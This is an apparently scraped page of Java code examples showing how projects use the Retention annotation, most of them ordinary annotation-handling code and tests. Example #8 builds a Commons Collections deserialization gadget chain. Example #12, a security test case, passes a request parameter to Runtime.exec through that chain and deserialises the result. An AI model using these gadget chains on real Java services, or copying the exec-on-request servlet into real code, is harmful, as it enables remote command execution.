java.lang.annotation.Retention Java Examples

The following examples show how to use java.lang.annotation.Retention. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source Project: intake   Author: Electroid   File: InternalBinderBuilder.java    License: GNU Lesser General Public License v3.0 6 votes vote down vote up
@Override
public BindingBuilder<T> annotatedWith(@Nullable Class<? extends Annotation> annotation) {
  if (annotation != null) {
    if (annotation.getAnnotation(Classifier.class) == null) {
      throw new IllegalArgumentException(
          "The annotation type "
              + annotation.getName()
              + " must be marked with @"
              + Classifier.class.getName()
              + " to be used as a classifier");
    }

    if (annotation.getAnnotation(Retention.class) == null) {
      throw new IllegalArgumentException(
          "The annotation type "
              + annotation.getName()
              + " must be marked with @"
              + Retention.class.getName()
              + " to appear at runtime");
    }
  }
  key = key.setClassifier(annotation);
  return this;
}
 
Example #2
Source Project: litho   Author: facebook   File: PsiAnnotationExtractor.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * We consider an annotation to be valid for extraction if it's not an internal annotation (i.e.
 * is in the <code>com.facebook.litho</code> package and is not a source-only annotation.
 *
 * @return Whether or not to extract the given annotation.
 */
private static boolean isValidAnnotation(Project project, PsiAnnotation psiAnnotation) {
  final String text = psiAnnotation.getQualifiedName();
  if (text.startsWith("com.facebook.")) {
    return false;
  }
  PsiClass annotationClass = PsiSearchUtils.findClass(project, psiAnnotation.getQualifiedName());
  if (annotationClass == null) {
    throw new RuntimeException("Annotation class not found, text is: " + text);
  }

  final Retention retention =
      PsiAnnotationProxyUtils.findAnnotationInHierarchy(annotationClass, Retention.class);

  return retention == null || retention.value() != RetentionPolicy.SOURCE;
}
 
Example #3
Source Project: netbeans   Author: apache   File: RuntimeRetentionAnalyzer.java    License: Apache License 2.0 6 votes vote down vote up
public boolean hasRuntimeRetention() {
    Map<String, ? extends AnnotationMirror> types = getHelper()
        .getAnnotationsByType(getElement().getAnnotationMirrors());
    AnnotationMirror retention = types.get(Retention.class.getCanonicalName()); 
    if ( retention == null ) {
        handleNoRetention();
        return false;
    }

    AnnotationParser parser = AnnotationParser.create(getHelper());
    parser.expectEnumConstant(AnnotationUtil.VALUE, getHelper().resolveType(
            RetentionPolicy.class.getCanonicalName()), null);
    
    String retentionPolicy = parser.parse(retention).get(AnnotationUtil.VALUE,
            String.class);
    return RetentionPolicy.RUNTIME.toString().equals(retentionPolicy);
}
 
Example #4
Source Project: lams   Author: lamsfoundation   File: AnnotatedClassResolver.java    License: GNU General Public License v2.0 6 votes vote down vote up
private AnnotationCollector _addFromBundleIfNotPresent(AnnotationCollector c,
        Annotation bundle)
{
    for (Annotation ann : ClassUtil.findClassAnnotations(bundle.annotationType())) {
        // minor optimization: by-pass 2 common JDK meta-annotations
        if ((ann instanceof Target) || (ann instanceof Retention)) {
            continue;
        }
        if (!c.isPresent(ann)) {
            c = c.addOrOverride(ann);
            if (_intr.isAnnotationBundle(ann)) {
                c = _addFromBundleIfNotPresent(c, ann);
            }
        }
    }
    return c;
}
 
Example #5
Source Project: Spork   Author: ByteWelder   File: QualifierCacheTests.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void annotationWithValueMethod() {
	Annotation annotation = Singleton.class.getAnnotation(Retention.class);
	cache.getQualifier(annotation);

	InOrder inOrder = inOrder(lock, cache);

	// initial call
	inOrder.verify(cache).getQualifier(annotation);

	// internal thread safe method lookup
	inOrder.verify(cache).getValueMethodThreadSafe(Retention.class);
	inOrder.verify(lock).lock();
	inOrder.verify(cache).getValueMethod(Retention.class);
	inOrder.verify(lock).unlock();

	// get Qualifier from value() method
	inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation));

	inOrder.verifyNoMoreInteractions();
	verifyZeroInteractions(cache);
	assertThat(bindActionMap.size(), is(1));
}
 
Example #6
Source Project: huntbugs   Author: amaembo   File: DeclaredAnnotations.java    License: Apache License 2.0 6 votes vote down vote up
@Override
protected void visitType(TypeDefinition td) {
    if (!td.isAnnotation())
        return;
    DeclaredAnnotation da = getOrCreate(td);
    for (CustomAnnotation ca : td.getAnnotations()) {
        if (Types.is(ca.getAnnotationType(), Retention.class)) {
            for (AnnotationParameter ap : ca.getParameters()) {
                if (ap.getMember().equals("value")) {
                    AnnotationElement value = ap.getValue();
                    if (value instanceof EnumAnnotationElement) {
                        EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
                        if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) {
                            da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
                        }
                    }
                }
            }
        }
    }
}
 
Example #7
Source Project: toothpick   Author: stephanenicolas   File: FactoryProcessor.java    License: Apache License 2.0 6 votes vote down vote up
private void checkScopeAnnotationValidity(TypeElement annotation) {
  if (annotation.getAnnotation(Scope.class) == null) {
    error(
        annotation,
        "Scope Annotation %s does not contain Scope annotation.",
        annotation.getQualifiedName());
    return;
  }

  Retention retention = annotation.getAnnotation(Retention.class);
  if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
    error(
        annotation,
        "Scope Annotation %s does not have RUNTIME retention policy.",
        annotation.getQualifiedName());
  }
}
 
Example #8
Source Project: security   Author: 7ym0n   File: Payload.java    License: GNU General Public License v3.0 6 votes vote down vote up
private static byte[] generateObject(Transformer[] transformers) throws Exception {
    ChainedTransformer transformedChain = new ChainedTransformer(transformers);
    HashMap innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, (Transformer)null, transformedChain);
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class});
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(new Object[]{Retention.class, outerMap});
    ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
    ObjectOutputStream out = new ObjectOutputStream(byteOut);
    out.writeObject(instance);
    out.flush();
    out.close();
    return byteOut.toByteArray();
}
 
Example #9
Source Project: panda   Author: panda-lang   File: DependencyInjectionUtils.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Check if annotation is available at runtime and it is annotated by @Injectable annotation
 *
 * @param annotation the annotation to check
 * @param <T> annotation type
 * @return the tested annotation
 * @throws org.panda_lang.utilities.inject.DependencyInjectionException when:
 *  <ul>
 *      <li>the given class is not an annotation</li>
 *      <li>annotation is not marked as @{@link org.panda_lang.utilities.inject.annotations.Injectable}</li>
 *      <li>retention policy is not defined or its value is other than the {@link java.lang.annotation.RetentionPolicy#RUNTIME} </li>
 *  </ul>
 */
public static <T> Class<T> testAnnotation(Class<T> annotation) throws DependencyInjectionException {
    if (!annotation.isAnnotation()) {
        throw new DependencyInjectionException(annotation + " is not an annotation");
    }

    @Nullable Retention retention = annotation.getAnnotation(Retention.class);

    if (retention == null) {
        throw new DependencyInjectionException(annotation + " has no specified retention policy");
    }

    if (retention.value() != RetentionPolicy.RUNTIME) {
        throw new DependencyInjectionException(annotation + " is not marked as runtime annotation");
    }

    if (annotation.getAnnotation(Injectable.class) == null) {
        throw new DependencyInjectionException(annotation + " is not marked as @Injectable");
    }

    return annotation;
}
 
Example #10
Source Project: pushfish-android   Author: PushFish   File: AsmBackedClassGenerator.java    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
public void addConstructor(Constructor<?> constructor) throws Exception {
    List<Type> paramTypes = new ArrayList<Type>();
    for (Class<?> paramType : constructor.getParameterTypes()) {
        paramTypes.add(Type.getType(paramType));
    }
    String methodDescriptor = Type.getMethodDescriptor(Type.VOID_TYPE, paramTypes.toArray(
            new Type[paramTypes.size()]));

    MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC, "<init>", methodDescriptor, signature(constructor), new String[0]);

    for (Annotation annotation : constructor.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), retention != null && retention.value() == RetentionPolicy.RUNTIME);
        annotationVisitor.visitEnd();
    }

    methodVisitor.visitCode();

    // this.super(p0 .. pn)
    methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);
    for (int i = 0; i < constructor.getParameterTypes().length; i++) {
        methodVisitor.visitVarInsn(Type.getType(constructor.getParameterTypes()[i]).getOpcode(Opcodes.ILOAD), i + 1);
    }
    methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, superclassType.getInternalName(), "<init>",
            methodDescriptor);

    methodVisitor.visitInsn(Opcodes.RETURN);
    methodVisitor.visitMaxs(0, 0);
    methodVisitor.visitEnd();
}
 
Example #11
Source Project: litho   Author: facebook   File: AnnotationExtractor.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * We consider an annotation to be valid for extraction if it's not an internal annotation (i.e.
 * is in the <code>com.facebook.litho</code> package and is not a source-only annotation.
 *
 * <p>We also do not consider the kotlin.Metadata annotation to be valid as it represents the
 * metadata of the Spec class and not of the class that we are generating.
 *
 * @return Whether or not to extract the given annotation.
 */
private static boolean isValidAnnotation(AnnotationMirror annotation) {
  final Retention retention =
      annotation.getAnnotationType().asElement().getAnnotation(Retention.class);

  if (retention != null && retention.value() == RetentionPolicy.SOURCE) {
    return false;
  }

  String annotationName = annotation.getAnnotationType().toString();

  return !annotationName.startsWith("com.facebook.") && !annotationName.equals("kotlin.Metadata");
}
 
Example #12
Source Project: openrasp-testcases   Author: baidu-security   File: Deserialization.java    License: MIT License 5 votes vote down vote up
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    try {
        String id = req.getParameter("id");
        if (id != null) {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{id})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain);
            Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, outmap);
            File f = new File("obj");
            ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f));
            outStream.writeObject(instance);
            outStream.flush();
            outStream.close();
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj"));
            in.readObject();
            in.close();
        }
    } catch (Exception e) {
        resp.getWriter().println(e);
    }
}
 
Example #13
Source Project: netbeans   Author: apache   File: GenerationUtilsTest.java    License: Apache License 2.0 5 votes vote down vote up
public void testCreateAnnotation() throws Exception {
    TestUtilities.copyStringToFileObject(testFO,
            "package foo;" +
            "public class TestClass {" +
            "}");
    runModificationTask(testFO, new Task<WorkingCopy>() {
        public void run(WorkingCopy copy) throws Exception {
            GenerationUtils genUtils = GenerationUtils.newInstance(copy);
            ClassTree classTree = (ClassTree)copy.getCompilationUnit().getTypeDecls().get(0);
            AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "unchecked")));
            ClassTree newClassTree = genUtils.addAnnotation(classTree, annotationTree);
            annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "java.lang.annotation.RetentionPolicy", "RUNTIME")));
            newClassTree = genUtils.addAnnotation(newClassTree, annotationTree);
            copy.rewrite(classTree, newClassTree);
        }
    }).commit();
    runUserActionTask(testFO, new Task<CompilationController>() {
        public void run(CompilationController controller) throws Exception {
            TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
            assertEquals(2, typeElement.getAnnotationMirrors().size());
            SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
            assertNotNull(suppressWarnings);
            assertEquals(1, suppressWarnings.value().length);
            assertEquals("unchecked", suppressWarnings.value()[0]);
            Retention retention = typeElement.getAnnotation(Retention.class);
            assertNotNull(retention);
            assertEquals(RetentionPolicy.RUNTIME, retention.value());
        }
    });
}
 
Example #14
Source Project: netbeans   Author: apache   File: GenerationUtilsTest.java    License: Apache License 2.0 5 votes vote down vote up
public void testCreateAnnotation() throws Exception {
    TestUtilities.copyStringToFileObject(testFO,
            "package foo;" +
            "public class TestClass {" +
            "}");
    runModificationTask(testFO, new Task<WorkingCopy>() {
        public void run(WorkingCopy copy) throws Exception {
            GenerationUtils genUtils = GenerationUtils.newInstance(copy);
            ClassTree classTree = (ClassTree)copy.getCompilationUnit().getTypeDecls().get(0);
            AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "unchecked")));
            ClassTree newClassTree = genUtils.addAnnotation(classTree, annotationTree);
            annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "java.lang.annotation.RetentionPolicy", "RUNTIME")));
            newClassTree = genUtils.addAnnotation(newClassTree, annotationTree);
            copy.rewrite(classTree, newClassTree);
        }
    }).commit();
    runUserActionTask(testFO, new Task<CompilationController>() {
        public void run(CompilationController controller) throws Exception {
            TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
            assertEquals(2, typeElement.getAnnotationMirrors().size());
            SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
            assertNotNull(suppressWarnings);
            assertEquals(1, suppressWarnings.value().length);
            assertEquals("unchecked", suppressWarnings.value()[0]);
            Retention retention = typeElement.getAnnotation(Retention.class);
            assertNotNull(retention);
            assertEquals(RetentionPolicy.RUNTIME, retention.value());
        }
    });
}
 
Example #15
Source Project: openjdk-systemtest   Author: AdoptOpenJDK   File: AnnotationFieldTests.java    License: Apache License 2.0 5 votes vote down vote up
public void testMetaAnnotation() throws NoSuchFieldException
{
	Field myMetaField = AnnotatedElements.class.getDeclaredField("field4");

	// The @A_Meta annotation has an annotation called @MetaAnnotation2
	A_Meta am = myMetaField.getAnnotation(A_Meta.class);
	assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation2.class));
	assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation3.class));
	
	Annotation[] annot1 = am.annotationType().getAnnotations();
	// 3 annotations should be present: @MetaAnnotation2,@MetaAnnotation3,@Retention
	assertTrue (annot1.length == 3);
	
	boolean[] annot_count = new boolean[] {false, false, false};		
	for (int i=0; i<annot1.length; i++)
	{
		if (annot1[i] instanceof Retention)
			annot_count[0] = true;
		else if (annot1[i] instanceof MetaAnnotation2)
			annot_count[1] = true;				
		else if (annot1[i] instanceof MetaAnnotation3)
			annot_count[2] = true;				
		else
			fail("Error! Unknown annotation instance detected in field2!");							
	}
	// Make sure all three annotations were found
	assertTrue(annot_count[0] && annot_count[1] && annot_count[2]);		
	
	// @MetaAnnotation2 has an annotation called @MetaAnnotation
	Annotation annot2 = MetaAnnotation2.class.getAnnotation(MetaAnnotation.class);
	assertTrue(annot2 != null);
	assertTrue(annot2 instanceof MetaAnnotation);		
}
 
Example #16
Source Project: ArchUnit   Author: TNG   File: CanBeAnnotated.java    License: Apache License 2.0 5 votes vote down vote up
private static void checkAnnotationHasReasonableRetention(Class<? extends Annotation> annotationType) {
    if (isRetentionSource(annotationType)) {
        throw new InvalidSyntaxUsageException(String.format(
                "Annotation type %s has @%s(%s), thus the information is gone after compile. "
                        + "So checking this with ArchUnit is useless.",
                annotationType.getName(), Retention.class.getSimpleName(), RetentionPolicy.SOURCE));
    }
}
 
Example #17
Source Project: ArchUnit   Author: TNG   File: JavaClassTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isAnnotatedWith_type() {
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
 
Example #18
Source Project: ArchUnit   Author: TNG   File: JavaClassTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isAnnotatedWith_typeName() {
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class.getName()))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class.getName()))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
 
Example #19
Source Project: ArchUnit   Author: TNG   File: JavaClassTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isMetaAnnotatedWith_type() {
    JavaClass clazz = importClassesWithContext(Parent.class, SomeAnnotation.class).get(Parent.class);

    assertThat(clazz.isMetaAnnotatedWith(SomeAnnotation.class))
            .as("Parent is meta-annotated with @" + SomeAnnotation.class.getSimpleName()).isFalse();
    assertThat(clazz.isMetaAnnotatedWith(Retention.class))
            .as("Parent is meta-annotated with @" + Retention.class.getSimpleName()).isTrue();
}
 
Example #20
Source Project: ArchUnit   Author: TNG   File: JavaClassTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isMetaAnnotatedWith_typeName() {
    JavaClass clazz = importClassesWithContext(Parent.class, SomeAnnotation.class).get(Parent.class);

    assertThat(clazz.isMetaAnnotatedWith(SomeAnnotation.class.getName()))
            .as("Parent is meta-annotated with @" + SomeAnnotation.class.getSimpleName()).isFalse();
    assertThat(clazz.isMetaAnnotatedWith(Retention.class.getName()))
            .as("Parent is meta-annotated with @" + Retention.class.getSimpleName()).isTrue();
}
 
Example #21
Source Project: ArchUnit   Author: TNG   File: AnnotationProxyTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void wrong_annotation_type_is_rejected() {
    JavaAnnotation<?> mismatch = javaAnnotationFrom(TestAnnotation.class.getAnnotation(Retention.class), getClass());

    thrown.expect(IllegalArgumentException.class);
    thrown.expectMessage(Retention.class.getSimpleName());
    thrown.expectMessage(TestAnnotation.class.getSimpleName());
    thrown.expectMessage("incompatible");
    AnnotationProxy.of(TestAnnotation.class, mismatch);
}
 
Example #22
Source Project: ArchUnit   Author: TNG   File: JavaMemberTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isAnnotatedWith_type() {
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class))
            .as("field is annotated with @Deprecated").isTrue();
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class))
            .as("field is annotated with @Retention").isFalse();
}
 
Example #23
Source Project: ArchUnit   Author: TNG   File: JavaMemberTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isAnnotatedWith_typeName() {
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class.getName()))
            .as("field is annotated with @Deprecated").isTrue();
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class.getName()))
            .as("field is annotated with @Retention").isFalse();
}
 
Example #24
Source Project: ArchUnit   Author: TNG   File: JavaMemberTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isMetaAnnotatedWith_type() {
    JavaClass clazz = importClassesWithContext(SomeClass.class, Deprecated.class).get(SomeClass.class);

    assertThat(clazz.getField("someField").isMetaAnnotatedWith(Deprecated.class))
            .as("field is meta-annotated with @Deprecated").isFalse();
    assertThat(clazz.getField("someField").isMetaAnnotatedWith(Retention.class))
            .as("field is meta-annotated with @Retention").isTrue();
}
 
Example #25
Source Project: ArchUnit   Author: TNG   File: JavaMemberTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isMetaAnnotatedWith_typeName() {
    JavaClass clazz = importClassesWithContext(SomeClass.class, Deprecated.class).get(SomeClass.class);

    assertThat(clazz.getField("someField").isMetaAnnotatedWith(Deprecated.class.getName()))
            .as("field is meta-annotated with @Deprecated").isFalse();
    assertThat(clazz.getField("someField").isMetaAnnotatedWith(Retention.class.getName()))
            .as("field is meta-annotated with @Retention").isTrue();
}
 
Example #26
Source Project: ArchUnit   Author: TNG   File: AccessTargetTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isMetaAnnotatedWith_type_on_resolved_target() {
    JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class);
    JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").to(classes.get(Target.class).getMethod("called"));

    assertThat(call.getTarget().isMetaAnnotatedWith(QueriedAnnotation.class))
            .as("target is meta-annotated with @" + QueriedAnnotation.class.getSimpleName())
            .isFalse();
    assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class))
            .as("target is meta-annotated with @" + Retention.class.getSimpleName())
            .isTrue();
}
 
Example #27
Source Project: ArchUnit   Author: TNG   File: AccessTargetTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void isMetaAnnotatedWith_typeName_on_resolved_target() {
    JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class);
    JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").to(classes.get(Target.class).getMethod("called"));

    assertThat(call.getTarget().isMetaAnnotatedWith(QueriedAnnotation.class.getName()))
            .as("target is meta-annotated with @" + QueriedAnnotation.class.getSimpleName())
            .isFalse();
    assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class.getName()))
            .as("target is meta-annotated with @" + Retention.class.getSimpleName())
            .isTrue();
}
 
Example #28
Source Project: ArchUnit   Author: TNG   File: AccessTargetTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
public void meta_annotated_on_unresolved_target() {
    JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class);
    JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").toUnresolved(Target.class, "called");

    assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class))
            .as("target is meta-annotated with @" + Retention.class.getSimpleName())
            .isFalse();
    assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class.getName()))
            .as("target is meta-annotated with @" + Retention.class.getSimpleName())
            .isFalse();
    assertThat(call.getTarget().isMetaAnnotatedWith(DescribedPredicate.<JavaAnnotation<?>>alwaysTrue()))
            .as("target is meta-annotated with anything")
            .isFalse();
}
 
Example #29
Source Project: anno4j   Author: anno4j   File: RDFProperty.java    License: Apache License 2.0 5 votes vote down vote up
private void annotationHeader(JavaMessageBuilder builder)
		throws ObjectStoreConfigException {
	String pkg = builder.getPackageName(this.getURI());
	String simple = builder.getSimpleName(this.getURI());
	if (pkg == null) {
		builder.imports(simple);
	} else {
		builder.pkg(pkg);
		builder.imports(pkg + '.' + simple);
	}
	builder.comment(this);
	if (this.isA(OWL.DEPRECATEDPROPERTY)) {
		builder.annotate(Deprecated.class);
	}
	builder.annotateEnum(Retention.class, "value", RetentionPolicy.class, "RUNTIME");
	builder.annotateEnums(Target.class, "value", ElementType.class, "TYPE", "METHOD",
				"PARAMETER", "ANNOTATION_TYPE", "PACKAGE");
	builder.annotationName(simple);
	builder.annotationProperties(this);
	builder.annotateURI(Iri.class, "value", builder.getType(this.getURI()));
	if (this.isA(OWL.FUNCTIONALPROPERTY)) {
		builder.method("value", true).returnType(builder.imports(String.class)).end();
	} else {
		builder.method("value", true).returnType(builder.imports(String.class) + "[]")
				.end();
	}
}
 
Example #30
Source Project: groovy   Author: apache   File: ResolveVisitor.java    License: Apache License 2.0 5 votes vote down vote up
@Override
public void visitAnnotations(final AnnotatedNode node) {
    List<AnnotationNode> annotations = node.getAnnotations();
    if (annotations.isEmpty()) return;
    Map<String, AnnotationNode> tmpAnnotations = new HashMap<>();
    for (AnnotationNode an : annotations) {
        // skip built-in properties
        if (an.isBuiltIn()) continue;
        ClassNode annType = an.getClassNode();
        resolveOrFail(annType, " for annotation", an);
        for (Map.Entry<String, Expression> member : an.getMembers().entrySet()) {
            Expression newValue = transform(member.getValue());
            Expression adjusted = transformInlineConstants(newValue);
            member.setValue(adjusted);
            checkAnnotationMemberValue(adjusted);
        }
        if (annType.isResolved()) {
            Class<?> annTypeClass = annType.getTypeClass();
            Retention retAnn = annTypeClass.getAnnotation(Retention.class);
            if (retAnn != null && !retAnn.value().equals(RetentionPolicy.SOURCE) && !isRepeatable(annTypeClass)) {
                // remember non-source/non-repeatable annos (auto collecting of Repeatable annotations is handled elsewhere)
                AnnotationNode anyPrevAnnNode = tmpAnnotations.put(annTypeClass.getName(), an);
                if (anyPrevAnnNode != null) {
                    addError("Cannot specify duplicate annotation on the same member : " + annType.getName(), an);
                }
            }
        }
    }
}